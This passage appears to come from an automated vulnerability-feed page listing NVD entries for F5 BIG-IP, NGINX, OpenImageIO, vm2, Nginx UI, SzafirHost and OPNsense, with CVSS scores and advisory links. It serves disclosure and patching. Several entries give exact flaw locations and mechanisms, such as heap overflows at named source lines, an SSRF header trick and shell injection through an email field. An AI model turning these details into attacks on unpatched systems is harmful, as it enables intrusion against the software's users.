NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
When a Client SSL profile is configured with Allow Dynamic Record Sizing on a UDP virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.
 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When running in Appliance mode, an authenticated attacker assigned the 'Administrator' role may be able to bypass Appliance mode restrictions on a BIG-IP system.
https://kevwire.com/record/CVE-2026-42930
When running in Appliance mode, an authenticated attacker assigned the 'Administrator' role may be able to bypass Appliance mode restrictions on a BIG-IP system. (May 13, 2026).
When running in Appliance mode, an authenticated attacker assigned the 'Administrator' role may be able to bypass Appliance mode restrictions on a BIG-IP system.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42930).
Sources:
NVD CVE-2026-42930: https://nvd.nist.gov/vuln/detail/CVE-2026-42930
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160876
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
When running in Appliance mode, an authenticated attacker assigned the 'Administrator' role may be able to bypass Appliance mode restrictions on a BIG-IP system.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) arp and ndp commands, and in BIG-IP iControl REST.
https://kevwire.com/record/CVE-2026-42937
Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) arp and ndp commands, and in BIG-IP iControl REST. (May 13, 2026).
Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) arp and ndp commands, and in BIG-IP iControl REST. These vulnerabilities may allow an authenticated attacker to view adjacent network information. 



Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42937).
Sources:
NVD CVE-2026-42937: https://nvd.nist.gov/vuln/detail/CVE-2026-42937
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000161018
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) arp and ndp commands, and in BIG-IP iControl REST. These vulnerabilities may allow an authenticated attacker to view adjacent network information. 



Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_rewrite_module module.
https://kevwire.com/record/CVE-2026-42945
NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_rewrite_module module. (May 13, 2026).
NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_rewrite_module module. This vulnerability exists when the rewrite directive is followed by a rewrite, if, or set directive and an unnamed Perl-Compatible Regular Expression (PCRE) capture (for example, $1, $2) with a replacement string that includes a question mark (?). An unauthenticated attacker along with conditions beyond its control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42945).
Sources:
NVD CVE-2026-42945: https://nvd.nist.gov/vuln/detail/CVE-2026-42945
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000161019
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_rewrite_module module. This vulnerability exists when the rewrite directive is followed by a rewrite, if, or set directive and an unnamed Perl-Compatible Regular Expression (PCRE) capture (for example, $1, $2) with a replacement string that includes a question mark (?). An unauthenticated attacker along with conditions beyond its control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in the ngx_http_scgi_module and ngx_http_uwsgi_module modules that may result in excessive memory allocation or an over-read of data.
https://kevwire.com/record/CVE-2026-42946
A vulnerability exists in the ngx_http_scgi_module and ngx_http_uwsgi_module modules that may result in excessive memory allocation or an over-read of data. (May 13, 2026).
A vulnerability exists in the ngx_http_scgi_module and ngx_http_uwsgi_module modules that may result in excessive memory allocation or an over-read of data. When scgi_pass or uwsgi_pass is configured, an unauthenticated attacker with man-in-the-middle (MITM) ability to control responses from an upstream server may be able to read the memory of the NGINX worker process or restart it.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42946).
Sources:
NVD CVE-2026-42946: https://nvd.nist.gov/vuln/detail/CVE-2026-42946
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000161027
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability exists in the ngx_http_scgi_module and ngx_http_uwsgi_module modules that may result in excessive memory allocation or an over-read of data. When scgi_pass or uwsgi_pass is configured, an unauthenticated attacker with man-in-the-middle (MITM) ability to control responses from an upstream server may be able to read the memory of the NGINX worker process or restart it.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation.
https://kevwire.com/record/CVE-2026-43903
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. (May 14, 2026).
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, sgiinput.cpp:265,274 use OIIO_DASSERT for bounds checking in the RLE decode loop. In release builds, OIIO_DASSERT compiles to ((void)sizeof(x)) (dassert.h:210), making all bounds checks no-ops. A crafted .sgi file with RLE count exceeding scanline width causes heap buffer overflow and crash. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43903).
Sources:
NVD CVE-2026-43903: https://nvd.nist.gov/vuln/detail/CVE-2026-43903
Vendor advisory (via NVD references): https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-jg3q-vm3q-2j35
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, sgiinput.cpp:265,274 use OIIO_DASSERT for bounds checking in the RLE decode loop. In release builds, OIIO_DASSERT compiles to ((void)sizeof(x)) (dassert.h:210), making all bounds checks no-ops. A crafted .sgi file with RLE count exceeding scanline width causes heap buffer overflow and crash. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation.
https://kevwire.com/record/CVE-2026-43904
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. (May 14, 2026).
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, softimageinput.cpp:469 (mixed RLE) and :345 (pure RLE) do not clamp the run length to remaining scanline width before writing pixels. The raw packet path (line 403) correctly clamps with std::min, but RLE paths skip this check. A crafted .pic file causes heap overflow up to 65535 bytes. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43904).
Sources:
NVD CVE-2026-43904: https://nvd.nist.gov/vuln/detail/CVE-2026-43904
Vendor advisory (via NVD references): https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-4499-j545-7q33
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, softimageinput.cpp:469 (mixed RLE) and :345 (pure RLE) do not clamp the run length to remaining scanline width before writing pixels. The raw packet path (line 403) correctly clamps with std::min, but RLE paths skip this check. A crafted .pic file causes heap overflow up to 65535 bytes. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation.
https://kevwire.com/record/CVE-2026-43905
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. (May 14, 2026).
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, jpeg2000input.cpp:395 computes buffer size as const int bufsize = w * h * ch * buffer_bpp using signed 32-bit arithmetic. When the product exceeds INT_MAX, the result wraps to 0 or a small value. m_buf.resize() allocates an undersized buffer, and subsequent pixel write loops cause heap overflow. Conditional on USE_OPENJPH build flag. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43905).
Sources:
NVD CVE-2026-43905: https://nvd.nist.gov/vuln/detail/CVE-2026-43905
Vendor advisory (via NVD references): https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-pj45-cf3g-28gq
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, jpeg2000input.cpp:395 computes buffer size as const int bufsize = w * h * ch * buffer_bpp using signed 32-bit arithmetic. When the product exceeds INT_MAX, the result wraps to 0 or a small value. m_buf.resize() allocates an undersized buffer, and subsequent pixel write loops cause heap overflow. Conditional on USE_OPENJPH build flag. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation.
https://kevwire.com/record/CVE-2026-43906
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. (May 14, 2026).
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a heap-based buffer overflow in the HEIF decoder of OpenImageIO allows out-of-bounds writes via crafted images due to a subimage metadata mismatch, leading to memory corruption and potential code execution. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43906).
Sources:
NVD CVE-2026-43906: https://nvd.nist.gov/vuln/detail/CVE-2026-43906
Vendor advisory (via NVD references): https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-gmrp-x952-3m66
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a heap-based buffer overflow in the HEIF decoder of OpenImageIO allows out-of-bounds writes via crafted images due to a subimage metadata mismatch, leading to memory corruption and potential code execution. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation.
https://kevwire.com/record/CVE-2026-43908
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. (May 14, 2026).
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a signed 32-bit integer overflow in the pixel-loop index expression i * 3 inside ConvertCbYCrYToRGB() causes the function to compute a large negative pointer offset into the output buffer, producing an out-of-bounds write that crashes the process. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43908).
Sources:
NVD CVE-2026-43908: https://nvd.nist.gov/vuln/detail/CVE-2026-43908
Vendor advisory (via NVD references): https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-2jr5-q49v-3858
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a signed 32-bit integer overflow in the pixel-loop index expression i * 3 inside ConvertCbYCrYToRGB() causes the function to compute a large negative pointer offset into the output buffer, producing an out-of-bounds write that crashes the process. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation.
https://kevwire.com/record/CVE-2026-43909
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. (May 14, 2026).
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a signed 32-bit integer overflow in the loop index expression i * 4 inside SwapRGBABytes() causes the function to compute a large negative pointer offset when processing kABGR DPX images with large dimensions. The immediate crash is an out-of-bounds read (the memcpy at line 45 reads from &input[i * 4] first), but the subsequent write operations at lines 46–49 target the same wrapped offset — making this a combined OOB read+write primitive. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43909).
Sources:
NVD CVE-2026-43909: https://nvd.nist.gov/vuln/detail/CVE-2026-43909
Vendor advisory (via NVD references): https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-g267-j53j-5258
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a signed 32-bit integer overflow in the loop index expression i * 4 inside SwapRGBABytes() causes the function to compute a large negative pointer offset when processing kABGR DPX images with large dimensions. The immediate crash is an out-of-bounds read (the memcpy at line 45 reads from &input[i * 4] first), but the subsequent write operations at lines 46–49 target the same wrapped offset — making this a combined OOB read+write primitive. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vm2 is an open source vm/sandbox for Node.js.
https://kevwire.com/record/CVE-2026-44009
vm2 is an open source vm/sandbox for Node.js. (May 13, 2026).
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2,  This vulnerability is fixed in 3.11.2.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44009).
Sources:
NVD CVE-2026-44009: https://nvd.nist.gov/vuln/detail/CVE-2026-44009
Vendor advisory (via NVD references): https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2,  This vulnerability is fixed in 3.11.2.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nginx UI is a web user interface for the Nginx web server.
https://kevwire.com/record/CVE-2026-44015
Nginx UI is a web user interface for the Nginx web server. (May 12, 2026).
Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44015).
Sources:
NVD CVE-2026-44015: https://nvd.nist.gov/vuln/detail/CVE-2026-44015
Vendor advisory (via NVD references): https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SzafirHost verifies the signature of the downloaded JAR file using class JarInputStream (reading from the beginning of the file), but loads classes using class...
https://kevwire.com/record/CVE-2026-44088
SzafirHost verifies the signature of the downloaded JAR file using class JarInputStream (reading from the beginning of the file), but loads classes using class... (May 15, 2026).
SzafirHost verifies the signature of the downloaded JAR file using class JarInputStream (reading from the beginning of the file), but loads classes using class JarFile/URLClassLoader (reading the Central Directory from the end). It can lead to remote code execution by allowing an attacker to combine a genuine, signed JAR file with a malicious ZIP file, causing the verification to pass but the malicious class to be loaded.


This issue was fixed in version 1.2.1.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44088).
Sources:
NVD CVE-2026-44088: https://nvd.nist.gov/vuln/detail/CVE-2026-44088
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
SzafirHost verifies the signature of the downloaded JAR file using class JarInputStream (reading from the beginning of the file), but loads classes using class JarFile/URLClassLoader (reading the Central Directory from the end). It can lead to remote code execution by allowing an attacker to combine a genuine, signed JAR file with a malicious ZIP file, causing the verification to pass but the malicious class to be loaded.


This issue was fixed in version 1.2.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OPNsense is a FreeBSD based firewall and routing platform.
https://kevwire.com/record/CVE-2026-44193
OPNsense is a FreeBSD based firewall and routing platform. (May 13, 2026).
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, the XMLRPC method opnsense.restore_config_section fails to sanitize user supplied input leading to Remote Code Execution. This vulnerability is fixed in 26.1.7.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44193).
Sources:
NVD CVE-2026-44193: https://nvd.nist.gov/vuln/detail/CVE-2026-44193
Vendor advisory (via NVD references): https://github.com/opnsense/core/security/advisories/GHSA-xxp9-93cr-x54p
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, the XMLRPC method opnsense.restore_config_section fails to sanitize user supplied input leading to Remote Code Execution. This vulnerability is fixed in 26.1.7.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OPNsense is a FreeBSD based firewall and routing platform.
https://kevwire.com/record/CVE-2026-44194
OPNsense is a FreeBSD based firewall and routing platform. (May 13, 2026).
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, an authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system. The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php. This vulnerability is fixed in 26.1.8.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44194).
Sources:
NVD CVE-2026-44194: https://nvd.nist.gov/vuln/detail/CVE-2026-44194
